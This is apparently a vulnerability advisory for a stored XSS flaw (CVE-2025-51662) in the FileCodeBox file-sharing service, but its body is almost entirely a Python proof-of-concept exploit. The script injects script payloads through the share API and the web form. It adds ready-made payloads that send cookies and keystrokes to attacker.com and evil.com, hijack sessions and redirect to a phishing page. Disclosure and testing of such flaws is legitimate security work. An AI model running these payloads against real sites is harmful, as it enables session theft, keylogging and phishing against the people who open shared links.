CVE-2025-51662 FileCodeBox存储型XSS漏洞安全预警

# CVE-2025-51662 Stored XSS PoC for FileCodeBox # This PoC demonstrates the XSS vulnerability in FileCodeBox text sharing feature import requests import json TARGET_URL = "http://target-filecodebox.com" # XSS payload - can be customized for different attack scenarios xss_payload = '<script>alert(document.cookie)</script>' # Method 1: Exploit via API endpoint def exploit_via_api(): """Send malicious payload through FileCodeBox API""" api_url = f"{TARGET_URL}/api/share" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Malicious payload disguised as normal text data = { "content": f"Normal text content {xss_payload} more text", "expiry": "1h", "password": "" } try: response = requests.post(api_url, json=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() share_code = result.get("code", "") print(f"[+] XSS payload injected successfully!") print(f"[+] Share code: {share_code}") print(f"[+] Access URL: {TARGET_URL}/box/{share_code}") print(f"[!] Any user accessing this link will trigger the XSS") return True except Exception as e: print(f"[-] Error: {e}") return False # Method 2: Exploit via web interface (requires session) def exploit_via_web(session): """Send malicious payload through web interface""" submit_url = f"{TARGET_URL}/submit" data = { "content": xss_payload, "expiry": "24h" } try: response = session.post(submit_url, data=data, timeout=10) if response.status_code == 200: print("[+] Web interface exploitation successful") return True except Exception as e: print(f"[-] Error: {e}") return False # Advanced payload examples advanced_payloads = { "cookie_stealer": '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>', "session_hijack": '<img src=x onerror="fetch(\'https://evil.com/log?data=\'+btoa(document.cookie))">', "phishing_redirect": '<script>window.location="https://fake-bank.com/phish"</script>', "keylogger": '<script>document.onkeypress=function(e){fetch("https://attacker.com/klog?k="+e.key)}</script>' } if __name__ == "__main__": print("=" * 60) print("CVE-2025-51662 FileCodeBox Stored XSS Exploitation") print("=" * 60) exploit_via_api()